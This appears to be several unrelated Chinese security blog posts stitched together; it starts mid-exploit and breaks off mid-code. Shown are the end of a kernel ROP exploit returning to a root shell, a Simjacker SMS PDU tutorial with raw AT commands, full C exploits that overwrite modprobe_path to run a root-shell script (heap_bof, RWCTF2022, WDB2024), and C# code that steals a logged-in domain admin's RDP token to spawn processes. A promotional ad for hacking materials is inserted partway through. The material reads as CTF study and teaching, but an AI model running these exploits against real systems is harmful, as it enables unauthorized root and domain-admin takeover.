   *rop++ = 0x6e0;
   *rop++ = add_rax_rcx_ret;
   *rop++ = pop_rbx_ret;
   *rop++ = init_fs;
   *rop++ = mov_mmrax_rbx_pop_rbx_ret;
   rop++;

   // back to user
   *rop++ = swapgs_ret;
   *rop++ = iretq;
   *rop++ = (uint64_t) get_shell;
   *rop++ = user_cs;
   *rop++ = user_rflags;
   *rop++ = user_sp;
   *rop++ = user_ss;

   puts("[*] Spraying ROP chain...");
   for (int i = 0; i < 31; i++) {
       key_alloc(i, buf, 1024);
   }

   puts("[*] Hijacking control flow...");
   for (int i = 0; i < PIPE_NUM; i++) {
       close(pipe_fd[i][0]);
       close(pipe_fd[i][1]);
   }

   sleep(5);

   return 0;
}

多试几次还是可以成功的。

  

简介：

2019年9月12日，AdaptiveMobile Security公布了一种针对SIM卡S@TBrowser的远程攻击方式：Simjacker。攻击者使用普通手机发送特殊构造的短信即可远程定位目标，危害较大。sim卡的使用在手机上的使用非常普遍，所以一旦SIM卡上出现什么问题就会造成非常大的影响。在19年的报告纰漏中，在全球估算共有10亿设备的sim卡容易遭受SIM Jacker攻击，这篇也是比较浅显的对整个攻击进行分析。

1.一点点背景

在了解整个攻击前需要对整体的一个框架有所了解，现在我们就先来了解一下短信是如何去发送的。GSM的中文就是全球移动通信系统，是由欧洲电信标准组织ETSI 制定的一种数字制式的蜂窝移动通信系统。当初开发 GSM目的是让全球各地可以共同使用一个移动电话网络标准，让用户使用一部手机就能行遍全球，因此GSM 还有一个很接地气的俗称------全球通。

GSM与它以前的标准相比较而言最大的不同是它的信令和语音信道都是数字式的，因此GSM 被看作是第二代（2G）移动电话系统。 短信（Short MessageService，SMS）是基于 GSM（全球移动通信系统）网络标准的通信服务之一，SMS允许通过 GSM 网络发送和接收文本消息。现在来看看整个短信的发送流程。

这里面中最主要涉及到了三个很重要的主体：发送者，短信中心，接收者。也就是我们的短信必须经过短信中心的转发才能到达接收者的SIM卡上。这里面也涉及到了很多基站的不同功能，比较完整的发送详细的可以看这个https://zhuanlan.zhihu.com/p/41439805。

以下是具体的步骤：

1. 发送者编辑短信，通过无线信号（SIM）将消息内容发送到基站

2. 基站收到消息内容经过一系列网元处理将其转发到运营商短信服务中心

3. 运营商短信服务中心经过一系列网元处理将数据转发到接收者附近的基站

4. 接收者附近的基站将短信内容发送到接收者

2.PDU模式短信的格式

GSM收发短消息又分三种模式：BLOCK 模式、TEXT 模式和PDU 模式。BLOCK模式现在用的很少了；TEXT 模式则只能发送ASCII码，它不能发送中文的UNICODE码（确切地讲，从技术上来说是可以用于发送中文短消息的，但是国内的手机基本上不支持）；而PDU模式开发起来则较为复杂，它需要编写专门的函数来将文本转换为PDU格式，但PDU模式被所有手机支持，可以使用任何字符集，它也是手机默认的编码方式。接下来我们来主要了解在这个模式下短信的格式。

以一个现实里的例子去讲解这个，这些是16进制的表示

0891683108200805F011190D91683188902848F40008FF108FD9662F4E0067616D4B8BD577ED4FE1

短信中心地址字段 0891683108200805F0

FirstOctet字段 11

消息参考值 19

接收者号码字段 0D91683188902848F4

协议标识 00

编码方法 08

有效期 FF

用户数据长度 F10

用户数据 8F......E1 短信中心地址字段

这个就是短信中心的地址，一般SIM卡都已经写好了，所以这里还有一个很常见的写法就是00，表示默认。08表示字节长度，9168表示的就是+86,表示的是在中国的号码，然后后面跟着号码。

FirstOctet字段

这个字段非常重要，涉及到许多设置，每一bit都有用处，先将十六进制下的11换成二进制的00010001，

我们从最低位开始，从右往左看

1. 首先我们看的就是01（对这俩位得连在一起看），这俩位表示的是这个短信的类型，最常见的有俩种SMS-SUBMIT、SMS-DELIVER。SMS-SUBMIT表示移动终端设备发送到短信中心，SMS-DELIVER表示短信中心发送到移动终端设备，对应的分别是01和00，这里是01，表示就是这是一条发送者的短信

2. 接下来就是第2位0，表示是否要接收重复的消息

3. 然后是10，这里表示了短信有效期的形式，10表示使用的相对时间，这也是常用的设置

4. 然后就是第5位啦，这是一个非常有意思的参数，返回短信状态报告。用通俗的话讲就是告诉发送者接收者是否已经接收到了短信，这里面所蕴含的信息在USENIX23上被用来实现了定位

5. 然后第6位就是用户数据头标示，当它等于0的时候就是表明这是一个短信消息，如果是一个OTA消息呢，比如SIM

   jacker,就得设置为1

6. 第7位是设置回复路径，每个SIM卡都设置了一个短信中心的号码，如果设置为0，那么接收者接回复短信时用的也是发送者的短信中心；如果这个是1，那么接收者将使用自己的短信中心

用一下别人的表，大家可以来对照一下：

消息参考值

这个值有点像ID,范围是0~255，如果一个短信被分成了多片，短信中心可以依据这个值将其进行组合

目标地址

这个同短信中心的设置，不过这里的0D表示的数字的长度，表示有几个数字

协议标识符

它是表明一条短信的用途或协议，它不仅用于传统的短信传输，也用于传输其他类型的信息，如传真、电子邮件或无线应用协议（WAP）消息。00表示的没有什么特殊的协议，静默短信的设置也涉及到这个，需要将这个修改成40，这个静默短信发送给接收者是完全没有任何提示的

数据编码方案

指明这个pdu的编码方式是什么，PDU收发短信有三种编码可用：7-bit、8-bit和UCS2编码，00为7Bit编码，04是8bit,08是UCS2编码，到后面的可以表达的内容更多，7bit简单的英文到UCS2编码可以发送中文。

帮助网安学习，以下所有学习资料免费领！领取资料加 we~@x：dctintin，备注 “安全脉搏” 获取！】

① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP 客户端安全检测指南（安卓 + IOS）

有效期

这里根据前面常见的设置就是相对有效期，FF表示最大30天，00最小5分钟

用户数据长度

后面跟着的数据的长度

3.一点点实验

了解到了一个PDU模型，短信的格式，一个标准的pdu可以直接用在线的网站进行生成，http://www.sendsms.cn/pdu/，大部分格式限定后，就可以修改部分设置

现在pdu格式有了，该如何发呢，这种最简单的情况就是去网上买个GSM模块，插上一张可以收发短信的SIM卡就可以直接用了，但考虑到大家只是简单了解一下，也不一定非得买个专门的设备，所以我们这里使用一个大家肯定都有的设备的，一台root过的手机。我使用的是魅族m3note，比较好root，大家也可以试试。

首先先接入adb进行调试，已经确定获得了root权限

因为安卓为linux系统修改的，所以一切皆文件，插入的sim卡也会被映射成一个文件，可以进行操作

一个示例如下

现在我们需要找到插入SIM卡之后的对应的文件，最简单的方式就是对比插入前后的对比找到

查看/proc/devices ,不过并没有变化,这里判断应该是准备着有接口，已经存在。

使用demsg,但是因为数据线处于连接状态充电，会有很多杂乱信息，而且魅族上使用的也不是smd* ，这里也可以尝试一个一个去找，但也会有很多问题。

这里找到一个比较好的办法，查看设备的radio日志

logcat -b radio | grep dev

先挂起日志监控，在插入SIM卡后，会输出大量信号，这里就成功定位到了SIM卡所映射的设备

因为每个设备对换行的接收不一样，所以建议几种方式一起去试，一个例子如下：

echo -e "AT+COPS?" > /dev/pts/4\echo -e "AT+COPS?\r" > /dev/pts/4\echo -e "AT+COPS?\r\n" > /dev/pts/4\echo -e "AT+COPS?\n" > /dev/pts/4\echo -e "AT+COPS?;" > /dev/pts/4\echo -e "AT+COPS?;\r" > /dev/pts/4\echo -e "AT+COPS?;\r\n" > /dev/pts/4\echo -e "AT+COPS?;\n" > /dev/pts/4

之后逐一筛选，选择合适的结尾，这里是\n

然后发送一条短信试试

echo -e "AT+CMGF=0\n" > /dev/pts/4 # PDU模式\echo -e "AT+CMGS=20\n" > /dev/pts/4 # 字符长度\echo -e "0031000D9168xxxxxxxxxxxx00000005E8329BFD0632\n" >/dev/pts/4

之后就可以在接收者那收到短信，32 对应ctrl\^z,是发完短信的结束符，不算入总长度

4.SIM Jacker

了解完前面三个部分，大家有了一些基本的了解，接下来我们就来看看SIMJacker这个攻击，一些具体的影响后果啥的就不去细究了，主要还是了解背后的一些原理。

（1）OTA消息

OTA 消息，也称为二进制消息，是包含一组(U)SIM 应用程序工具包(USAT)命令的特定 APDU 消息，这些消息针对 SIM卡内的特定应用程序，而这些应用程序又执行消息本身提供的USAT命令，这些命令包括：设置呼叫、发送短信、更新SIM 信息、编辑 SIM 文件等。

OTA 消息通常设计为从运营商发送到用户，服务提供商可以引入新的 SIM服务、修改 SIM的内容、执行软件更新、配置设置，甚至更新移动设备的加密密钥。

正是因为这一特性的存在导致了SIMJacker的发生，也就是OTA消息也可以由一个用户发送，而非短信中心。

SIM Jacker发生的条件主要有三个：

1. 短信中心可以接受并转发PDU消息

2. 接收者能够解析SIM应用工具包命令的PDU消息

3. SIM上部署了S@T浏览器技术，并且设置了"不应用任何安全措施"的最低安全级别

其他的一些条件，比如主动 UICC 命令等这些都是默认开启的，这里就不在提及。

让我在回到PDU模式短信那块，在FirstOctet字段中有一位可以将普通的用户数据，变成对SIM卡特定应用的程序的执行命令，就是要将第6位的用户数据头标示设置成1。也有很多是SIMjacker的攻击中的PDU是0041开头的。

先用一张图开始：

前面的部分和之前一样，主要来解释一下后面的UD部分：

1. 先开始的是用户数据头，包含了俩部分

   一个是是用户数据头的字节长度，另一个是用户数据头的设置，可以设置是否包含安全头。

2. 命令包包含有关消息安全性、消息发往哪个应用程序以及我们想要执行的实际命令是什么等非常重要的信息。

3. 命令包长度是整个命令包的字节长度：

4. 命令头长度是命令头的字节长度：

5. 命令头由6 个不同的值组成：

安全参数指示符（SPI）指定是否对消息应用任何安全性，在SIMjacker中要将SPI设置如下：SPI = 0x0000

加密密钥标识符（KIC）所使用的加密类型，我们将其设置为：KIC = 0x00

密钥标识符 (KID)指定用于加密的密钥，我们将其设置为：KID = 0x00

目标应用程序参考 (TAR)标识了我们将向其发送消息的 SIM卡上的应用程序，我们将其设置为S@T 浏览器：

TAR = 0x505348

计数器和填充计数器 (CNTR & PCNTR)，这些值的设置如下：CNTR =0x0000000000PCNTR= 0x00

1. 安全数据（S@T/STK 命令）（关键）

这是有效载荷中最重要的部分，它包含我们希望S@T浏览器应用程序代表我们执行的命令。这些命令是使用STK字节码构建的，例如，它可以用于设置呼叫和发送短信。

（2）示例分析

一个具体的例子就在下面

AT+CMGF=0\AT+CMGS=69\>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121...2D0C100383...2B00(CTRL + Z)

将这些结构对应回图上，

现在检测或者进行的SIM jacker的工具已经有了，大家拿一个SIMTester和一个读卡器就可以了，不过国内的SIM卡没有这方面的攻击案例，自己测试也没有找到这方面的案例。

  

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path（虽然在高版本内核已经不可用了但ctf比赛还是比较常用的）。再通过两道近期比赛的赛题来讲解。

Arbitrary Address Allocation 利用思路

通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是，内核的 slub 堆管理器缺少检查，因此对要分配的目标地址要求不高，不过有一点需要注意：当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist，而这通常并非一个有效的地址，从而导致 kernel panic，因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。

当能够任意地址分配的时候，与 glibc 改 hook 类似，在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量，其值为 /sbin/modprobe ，因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。

当我们尝试去执行（execve）一个非法的文件（file magic not found），内核会经历如下调用链：

entry_SYSCALL_64()
   sys_execve()
       do_execve()
           do_execveat_common()
               bprm_execve()
                   exec_binprm()
                       search_binary_handler()
                           __request_module() // wrapped as request_module
                               call_modprobe()

其中 call_modprobe() 定义于 kernel/kmod.c，我们主要关注这部分代码：

static int call_modprobe(char *module_name, int wait)
{
   //...
   argv[0] = modprobe_path;
   argv[1] = "-q";
   argv[2] = "--";
   argv[3] = module_name;  /* check free_modprobe_argv() */
   argv[4] = NULL;

   info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                    NULL, free_modprobe_argv, NULL);
   if (!info)
       goto free_module_name;

   return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
   //...

在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。 我们不难想到的是：若是我们能够劫持 modprobe_path，将其改写为我们指定的恶意脚本的路径，随后我们再执行一个非法文件，内核将会以 root 权限执行我们的恶意脚本。

或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。

__int64 _request_module(
       char a1,
       __int64 a2,
       double a3,
       double a4,
       double a5,
       double a6,
       double a7,
       double a8,
       double a9,
       double a10,
       ...)
{
......
   if ( v19 )
   {
......
     v21 = call_usermodehelper_setup(
             (__int64)&byte_FFFFFFFF82444700, // modprobe_path
             (__int64)v18,
             (__int64)&off_FFFFFFFF82444620,
             3264,
             0LL,
             (__int64)free_modprobe_argv,
             0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700             ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700                 db 2Fh  ; /       ; __request_module+14B↑o ...                      
.data:FFFFFFFF82444701                 db  73h ; s
.data:FFFFFFFF82444702                 db  62h ; b
.data:FFFFFFFF82444703                 db  69h ; i
.data:FFFFFFFF82444704                 db  6Eh ; n
.data:FFFFFFFF82444705                 db  2Fh ; /
.data:FFFFFFFF82444706                 db  6Dh ; m
.data:FFFFFFFF82444707                 db  6Fh ; o
.data:FFFFFFFF82444708                 db  64h ; d
.data:FFFFFFFF82444709                 db  70h ; p
.data:FFFFFFFF8244470A                 db  72h ; r
.data:FFFFFFFF8244470B                 db  6Fh ; o
.data:FFFFFFFF8244470C                 db  62h ; b
.data:FFFFFFFF8244470D                 db  65h ; e
.data:FFFFFFFF8244470E                 db    0 exp #include "src/pwn_helper.h"

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9

size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;

struct param {
   size_t len;
   size_t *buf;
   long long idx;
};

void alloc_buf(int fd, struct param* p)
{
   printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_MALLOC, p);
}

void free_buf(int fd, struct param* p)
{
   printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_FREE, p);
}

void read_buf(int fd, struct param* p)
{
   printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_READ, p);
}

void write_buf(int fd, struct param* p)
{
   printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_WRITE, p);
}

int main()
{
   // len buf idx
   size_t* buf = malloc(0x500);
   struct param p = {0x20, buf, 0};

   printf("[+] user_buf : %p\n", p.buf);
   int bof_fd = open("/dev/bof", O_RDWR);
   if (bof_fd < 0) {
       puts(RED "[-] Failed to open bof." NONE);
       exit(-1);
   }

   printf(YELLOW "[*] try to leak kbase\n" NONE);

   alloc_buf(bof_fd, &p);
   free_buf(bof_fd, &p);

   int seq_fd = open("/proc/self/stat", O_RDONLY);
   read_buf(bof_fd, &p);
   qword_dump("leak seq_ops", buf, 0x20);

   size_t kernel_offset = buf[0] - seq_ops_start;
   printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);
   modprobe_path += kernel_offset;
   printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);
   
   p.len = 0xa8;
   alloc_buf(bof_fd, &p);
   free_buf(bof_fd, &p);

   read_buf(bof_fd, &p);

   buf[0] = modprobe_path - 0x20;

   write_buf(bof_fd, &p);

   alloc_buf(bof_fd, &p);
   alloc_buf(bof_fd, &p);

   read_buf(bof_fd, &p);
   qword_dump("leak modprobe_path", buf, 0x30);

   strcpy((char *) &buf[4], "/tmp/shell.sh\x00");
   write_buf(bof_fd, &p);
   read_buf(bof_fd, &p);
   qword_dump("leak modprobe_path", buf, 0x30);

   if (open("/shell.sh", O_RDWR) < 0) {
       system("echo '#!/bin/sh' >> /tmp/shell.sh");
       system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");
       system("chmod +x /tmp/shell.sh");
   }

   system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
   system("chmod +x /tmp/fake");
   system("/tmp/fake");

   return 0;
}

RWCTF2022 Digging into kernel 1 & 2 题目分析

start.sh

#!/bin/sh

qemu-system-x86_64 \
   -kernel bzImage \
   -initrd rootfs.img \
   -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \
   -cpu kvm64,+smep,+smap \
   -monitor null \
   --nographic \
   -s

逆向分析

int __cdecl xkmod_init()
{
 kmem_cache *v0; // rax

 printk(&unk_1E4);
 misc_register(&xkmod_device);
 v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
 buf = 0LL;
 s = v0;
 return 0;
} int __fastcall xkmod_release(inode *inode, file *file)
{
 return kmem_cache_free(s, buf); // maybe double free
} void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
 __int64 data; // [rsp+0h] [rbp-20h] BYREF
 unsigned int idx; // [rsp+8h] [rbp-18h]
 unsigned int size; // [rsp+Ch] [rbp-14h]
 unsigned __int64 v6; // [rsp+10h] [rbp-10h]
                                               // v3 __ : 0x8 rsp + 0x0
                                               // v4 __ : 0x4 rsp + 0x8
                                               // v5 __ : 0x4 rsp + 0xc
 v6 = __readgsqword(0x28u);
 if ( a3 )
 {
   copy_from_user(&data, a3, 0x10LL);
   if ( a2 == 0x6666666 )
   {
     if ( buf && size <= 0x50 && idx <= 0x70 )
     {
       copy_from_user((char *)buf + (int)idx, data, (int)size);
       return;
     }
   }
   else
   {
     if ( a2 != 0x7777777 )
     {
       if ( a2 == 0x1111111 )
         buf = (void *)kmem_cache_alloc(s, 0xCC0LL);
       return;
     }
     if ( buf && size <= 0x50 && idx <= 0x70 )
     {
       ((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);
       return;
     }
   }
   xkmod_ioctl_cold();
 }
} 利用思路

关于内核基址获取，在内核堆基址（page_offset_base） + 0x9d000 处存放着 secondary_startup_64 函数的地址，而我们可以从 free object 的 next 指针获得一个堆上地址，从而去找堆的基址，之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址，这个地址前面刚好有一片为 NULL 的区域方便我们分配。

#define __PAGE_OFFSET           page_offset_base
#define PAGE_OFFSET    ((unsigned long)__PAGE_OFFSET)
#define __va(x)        ((void *)((unsigned long)(x)+PAGE_OFFSET))

   /* Must be perfomed *after* relocation. */
   trampoline_header = (struct trampoline_header *)
       __va(real_mode_header->trampoline_header);
   ...
   trampoline_header->start = (u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000

至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。

exp #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>

size_t modprobe_path = 0xFFFFFFFF82444700;

void qword_dump(char *desc, void *addr, int len)
{
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
   }
   for (int i = 0; i < len / 8; i += 4) {
       printf("  %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
       }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
       }
       puts("");
   }
}

struct Data {
   size_t *buf;
   u_int32_t offset;
   u_int32_t size;
};

void alloc_buf(int fd, struct Data *data)
{
   ioctl(fd, 0x1111111, data);
}

void write_buf(int fd, struct Data *data)
{
   ioctl(fd, 0x6666666, data);
}

void read_buf(int fd, struct Data *data)
{
   ioctl(fd, 0x7777777, data);
}

int main()
{
   int xkmod_fd[5];
   for (int i = 0; i < 5; i++) {
       xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);
       if (xkmod_fd[i] < 0) {
           printf("[-] %d Failed to open xkmod.", i);
           exit(-1);
       }
   }

   struct Data data = {malloc(0x1000), 0, 0x50};
   alloc_buf(xkmod_fd[0], &data);
   close(xkmod_fd[0]);

   read_buf(xkmod_fd[1], &data);
   qword_dump("buf", data.buf, 0x50);

   size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;
   printf("[+] page_offset_base: %p\n", page_offset_base);

   data.buf[0] = page_offset_base + 0x9d000 - 0x10;
   write_buf(xkmod_fd[1], &data);
   alloc_buf(xkmod_fd[1], &data);
   alloc_buf(xkmod_fd[1], &data);

   data.size = 0x50;
   read_buf(xkmod_fd[1], &data);
   qword_dump("buf", data.buf, 0x50);
   
   size_t kernel_offset = data.buf[2] - 0xffffffff81000030;
   printf("kernel offset: %p\n", kernel_offset);
   modprobe_path += kernel_offset;

   close(xkmod_fd[1]);
   data.buf[0] = modprobe_path - 0x10;
   write_buf(xkmod_fd[2], &data);
   alloc_buf(xkmod_fd[2], &data);
   alloc_buf(xkmod_fd[2], &data);
   strcpy((char *) &data.buf[2], "/home/shell.sh");
   write_buf(xkmod_fd[2], &data);

   if (open("/home/shell.sh", O_RDWR) < 0) {
       system("echo '#!/bin/sh' >> /home/shell.sh");
       system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");
       system("chmod +x /home/shell.sh");
   }

   system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
   system("chmod +x /home/fake");
   system("/home/fake");

   return 0;
} WDB2024 PWN03 利用思路

基本上和RWCTF2022 Digging into kernel 1 & 2是一样的，这道题大家拿去练手即可，建议大家自行分析题目，我只把我的exp贴在下面，但是建议大家自己写一个exp。

exp #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>

size_t modprobe_path = 0xFFFFFFFF81E58B80;

void qword_dump(char *desc, void *addr, int len)
{
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
   }
   for (int i = 0; i < len / 8; i += 4) {
       printf("  %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
       }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
       }
       puts("");
   }
}

void alloc_buf(int fd, int size)
{
   printf("[+] kmalloc %d\n", size);
   ioctl(fd, 0x0, size);
}

void free_buf(int fd)
{
   printf("[+] kfree\n");
   ioctl(fd, 0x1, 0);
}

void read_buf(int fd, size_t* buf, int size)
{
   printf("[+] copy_to_user %d\n", size);
   read(fd, buf, size);
   qword_dump("read_buf", buf, size);
}

void write_buf(int fd, size_t* buf, int size)
{
   printf("[+] copy_from_user %d\n", size);
   qword_dump("write_buf", buf, size);
   write(fd, buf, size);
}

int main()
{
   size_t* buf = malloc(0x500);
   int easy_fd;
   easy_fd = open("/dev/easy", O_RDWR);

   alloc_buf(easy_fd, 0xa8);
   free_buf(easy_fd);

   read_buf(easy_fd, buf, 0xa8);

   size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;
   printf("[*] page_offset_base %p\n", page_offset_base);

   buf[0] = page_offset_base + 0x9d000 - 0x10;
   write_buf(easy_fd, buf, 0x8);
   
   alloc_buf(easy_fd, 0xa8);
   alloc_buf(easy_fd, 0xa8);

   read_buf(easy_fd, buf, 0xa8);
   
   size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;
   printf("[*] kernel offset: %p\n", kernel_offset);
   modprobe_path += kernel_offset;

   buf[0] = modprobe_path - 0x20;
   alloc_buf(easy_fd, 0xa8);
   free_buf(easy_fd);

   write_buf(easy_fd, buf, 0x8);
   alloc_buf(easy_fd, 0xa8);
   alloc_buf(easy_fd, 0xa8);

   read_buf(easy_fd, buf, 0x20);
   strcpy((char *) &buf[4], "/shell.sh\x00");
   write_buf(easy_fd, buf, 0x30);

   if (open("/shell.sh", O_RDWR) < 0) {
       system("echo '#!/bin/sh' >> /shell.sh");
       system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");
       system("chmod +x /shell.sh");
   }

   system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
   system("chmod +x /fake");
   system("/fake");

   return 0;
}

   

前言

当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后，退出3389时没有退出账号而是直接关掉了远程桌面，那么会产生哪些风险呢？有些读者第一个想到的肯定就是抓密码，但是如果抓不到明文密码又或者无法pth呢？

通过计划任务完成域内提权

首先模拟域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面：

然后攻击者可以通过如下方式进行域内提权，已添加域内用户为例，流程为新建计划任务-选择域管用户-执行命令：

选择搜索用户位置为域内：

选择登录进来的域管用户：

设置启动的命令：

然后运行计划任务，可以看到成功添加了域内用户：

有些读者可能会问了，那是不是选择任意域内用户都行，实际上是不行的，会提示用户未登录：

原理分析

原理实际上也很简单，就是获取进程的token，然后利用CreateProcessAsUser api完成模拟用户token进行进程创建即可。下面提供完整代码,如下代码核心是利用WTSQueryUserToken获取rdp session id token，然后使用CreateProcessAsUser完成进程的创建：

using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
using System.Security.Principal;

class Program
{
   [DllImport("wtsapi32.dll", SetLastError = true)]
   static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);

   [DllImport("kernel32.dll", SetLastError = true)]
   static extern bool CloseHandle(IntPtr hObject);

   [DllImport("userenv.dll", SetLastError = true)]
   static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);

   [DllImport("userenv.dll", SetLastError = true)]
   static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);

   [DllImport("advapi32.dll", SetLastError = true)]
   static extern bool CreateProcessAsUser(
       IntPtr hToken,
       string lpApplicationName,
       string lpCommandLine,
       IntPtr lpProcessAttributes,
       IntPtr lpThreadAttributes,
       bool bInheritHandles,
       uint dwCreationFlags,
       IntPtr lpEnvironment,
       string lpCurrentDirectory,
       ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

   [StructLayout(LayoutKind.Sequential)]
   struct STARTUPINFO
   {
       public int cb;
       public string lpReserved;
       public string lpDesktop;
       public string lpTitle;
       public uint dwX;
       public uint dwY;
       public uint dwXSize;
       public uint dwYSize;
       public uint dwXCountChars;
       public uint dwYCountChars;
       public uint dwFillAttribute;
       public uint dwFlags;
       public short wShowWindow;
       public short cbReserved2;
       public IntPtr lpReserved2;
       public IntPtr hStdInput;
       public IntPtr hStdOutput;
       public IntPtr hStdError;
   }

   [StructLayout(LayoutKind.Sequential)]
   struct PROCESS_INFORMATION
   {
       public IntPtr hProcess;
       public IntPtr hThread;
       public uint dwProcessId;
       public uint dwThreadId;
   }

   static void Main(string[] args)
   {
       if (args.Length < 2)
       {
           Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
           return;
       }

       int sessionId;
       if (!int.TryParse(args[0], out sessionId))
       {
           Console.WriteLine("Invalid session ID");
           return;
       }

       string command = args[1];
       IntPtr userToken = IntPtr.Zero;
       IntPtr envBlock = IntPtr.Zero;

       try
       {
           // Get user token for the specified session
           bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
           if (!tokenResult)
           {
               int error = Marshal.GetLastWin32Error();
               throw new Win32Exception(error);
           }

           // Create environment block
           bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
           if (!envResult)
           {
               int error = Marshal.GetLastWin32Error();
               throw new Win32Exception(error);
           }

           // Prepare startup info
           STARTUPINFO startupInfo = new STARTUPINFO();
